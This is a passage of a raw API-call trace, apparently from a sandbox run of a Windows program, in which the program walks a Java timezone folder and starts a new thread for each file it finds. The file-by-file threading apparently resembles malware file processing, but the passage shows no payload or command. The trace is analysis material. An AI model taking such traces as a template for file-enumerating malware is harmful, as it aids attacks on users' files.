nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aqtau", cAlternateFileName="")) returned 1 [0158.609] wcscmp (_String1="Aqtau", _String2=".") returned 1 [0158.609] wcscmp (_String1="Aqtau", _String2="..") returned 1 [0158.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e4f0 [0158.609] wcscpy (in: _Dest=0x1b86e4f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.609] wcscat (in: _Dest=0x1b86e4f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.609] wcscat (in: _Dest=0x1b86e4f0, _Source="Aqtau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtau" [0158.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0158.610] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aqtobe", cAlternateFileName="")) returned 1 [0158.610] wcscmp (_String1="Aqtobe", _String2=".") returned 1 [0158.610] wcscmp (_String1="Aqtobe", _String2="..") returned 1 [0158.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e9c0 [0158.610] wcscpy (in: _Dest=0x1b86e9c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.610] wcscat (in: _Dest=0x1b86e9c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.610] wcscat (in: _Dest=0x1b86e9c0, _Source="Aqtobe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtobe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtobe" [0158.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e9c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe74 [0158.611] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ashgabat", cAlternateFileName="")) returned 1 [0158.611] wcscmp (_String1="Ashgabat", _String2=".") returned 1 [0158.611] wcscmp (_String1="Ashgabat", _String2="..") returned 1 [0158.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8688c0 [0158.611] wcscpy (in: _Dest=0x1b8688c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.612] wcscat (in: _Dest=0x1b8688c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.612] wcscat (in: _Dest=0x1b8688c0, _Source="Ashgabat" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ashgabat") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ashgabat" [0158.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8688c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4 [0158.612] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Baghdad", cAlternateFileName="")) returned 1 [0158.613] wcscmp (_String1="Baghdad", _String2=".") returned 1 [0158.613] wcscmp (_String1="Baghdad", _String2="..") returned 1 [0158.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x426efe80 [0158.613] wcscpy (in: _Dest=0x426efe80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.613] wcscat (in: _Dest=0x426efe80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.613] wcscat (in: _Dest=0x426efe80, _Source="Baghdad" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad" [0158.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426efe80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8 [0158.614] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahrain", cAlternateFileName="")) returned 1 [0158.614] wcscmp (_String1="Bahrain", _String2=".") returned 1 [0158.614] wcscmp (_String1="Bahrain", _String2="..") returned 1 [0158.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x426eff00 [0158.614] wcscpy (in: _Dest=0x426eff00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.614] wcscat (in: _Dest=0x426eff00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.614] wcscat (in: _Dest=0x426eff00, _Source="Bahrain" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bahrain") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bahrain" [0158.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eff00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0158.615] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Baku", cAlternateFileName="")) returned 1 [0158.615] wcscmp (_String1="Baku", _String2=".") returned 1 [0158.615] wcscmp (_String1="Baku", _String2="..") returned 1 [0158.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e800 [0158.615] wcscpy (in: _Dest=0x1b86e800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.615] wcscat (in: _Dest=0x1b86e800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.615] wcscat (in: _Dest=0x1b86e800, _Source="Baku" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baku") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baku" [0158.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ac [0158.616] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bangkok", cAlternateFileName="")) returned 1 [0158.616] wcscmp (_String1="Bangkok", _String2=".") returned 1 [0158.616] wcscmp (_String1="Bangkok", _String2="..") returned 1 [0158.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x426eff80 [0158.616] wcscpy (in: _Dest=0x426eff80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.616] wcscat (in: _Dest=0x426eff80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.616] wcscat (in: _Dest=0x426eff80, _Source="Bangkok" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bangkok") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bangkok" [0158.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eff80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1544 [0158.617] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beirut", cAlternateFileName="")) returned 1 [0158.617] wcscmp (_String1="Beirut", _String2=".") returned 1 [0158.617] wcscmp (_String1="Beirut", _String2="..") returned 1 [0158.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86ecd0 [0158.617] wcscpy (in: _Dest=0x1b86ecd0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.617] wcscat (in: _Dest=0x1b86ecd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.618] wcscat (in: _Dest=0x1b86ecd0, _Source="Beirut" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Beirut") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Beirut" [0158.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ecd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4 [0158.618] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bishkek", cAlternateFileName="")) returned 1 [0158.618] wcscmp (_String1="Bishkek", _String2=".") returned 1 [0158.618] wcscmp (_String1="Bishkek", _String2="..") returned 1 [0158.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x426f0000 [0158.619] wcscpy (in: _Dest=0x426f0000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.619] wcscat (in: _Dest=0x426f0000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.619] wcscat (in: _Dest=0x426f0000, _Source="Bishkek" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bishkek") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bishkek" [0158.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426f0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20 [0158.620] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brunei", cAlternateFileName="")) returned 1 [0158.620] wcscmp (_String1="Brunei", _String2=".") returned 1 [0158.620] wcscmp (_String1="Brunei", _String2="..") returned 1 [0158.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e790 [0158.620] wcscpy (in: _Dest=0x1b86e790, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.620] wcscat (in: _Dest=0x1b86e790, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.620] wcscat (in: _Dest=0x1b86e790, _Source="Brunei" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Brunei") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Brunei" [0158.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0158.622] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Choibalsan", cAlternateFileName="CHOIBA~1")) returned 1 [0158.622] wcscmp (_String1="Choibalsan", _String2=".") returned 1 [0158.622] wcscmp (_String1="Choibalsan", _String2="..") returned 1 [0158.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426f0080 [0158.622] wcscpy (in: _Dest=0x426f0080, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.622] wcscat (in: _Dest=0x426f0080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.622] wcscat (in: _Dest=0x426f0080, _Source="Choibalsan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Choibalsan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Choibalsan" [0158.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426f0080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0158.623] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chongqing", cAlternateFileName="CHONGQ~1")) returned 1 [0158.623] wcscmp (_String1="Chongqing", _String2=".") returned 1 [0158.623] wcscmp (_String1="Chongqing", _String2="..") returned 1 [0158.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426f0100 [0158.623] wcscpy (in: _Dest=0x426f0100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.623] wcscat (in: _Dest=0x426f0100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.623] wcscat (in: _Dest=0x426f0100, _Source="Chongqing" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Chongqing") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Chongqing" [0158.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426f0100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0158.624] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Colombo", cAlternateFileName="")) returned 1 [0158.624] wcscmp (_String1="Colombo", _String2=".") returned 1 [0158.624] wcscmp (_String1="Colombo", _String2="..") returned 1 [0158.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x426f0180 [0158.624] wcscpy (in: _Dest=0x426f0180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.624] wcscat (in: _Dest=0x426f0180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.624] wcscat (in: _Dest=0x426f0180, _Source="Colombo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Colombo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Colombo" [0158.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426f0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0158.625] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="Damascus", cAlternateFileName="")) returned 1 [0158.625] wcscmp (_String1="Damascus", _String2=".") returned 1 [0158.625] wcscmp (_String1="Damascus", _String2="..") returned 1 [0158.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426f0200 [0158.625] wcscpy (in: _Dest=0x426f0200, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.626] wcscat (in: _Dest=0x426f0200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.626] wcscat (in: _Dest=0x426f0200, _Source="Damascus" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Damascus") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Damascus" [0158.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426f0200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0158.626] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dhaka", cAlternateFileName="")) returned 1 [0158.626] wcscmp (_String1="Dhaka", _String2=".") returned 1 [0158.626] wcscmp (_String1="Dhaka", _String2="..") returned 1 [0158.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e720 [0158.627] wcscpy (in: _Dest=0x1b86e720, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.627] wcscat (in: _Dest=0x1b86e720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.627] wcscat (in: _Dest=0x1b86e720, _Source="Dhaka" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dhaka") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dhaka" [0158.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0158.627] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dili", cAlternateFileName="")) returned 1 [0158.627] wcscmp (_String1="Dili", _String2=".") returned 1 [0158.628] wcscmp (_String1="Dili", _String2="..") returned 1 [0158.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86ea30 [0158.628] wcscpy (in: _Dest=0x1b86ea30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.628] wcscat (in: _Dest=0x1b86ea30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.628] wcscat (in: _Dest=0x1b86ea30, _Source="Dili" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dili") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dili" [0158.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ea30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0158.629] FindNextFileW (in: 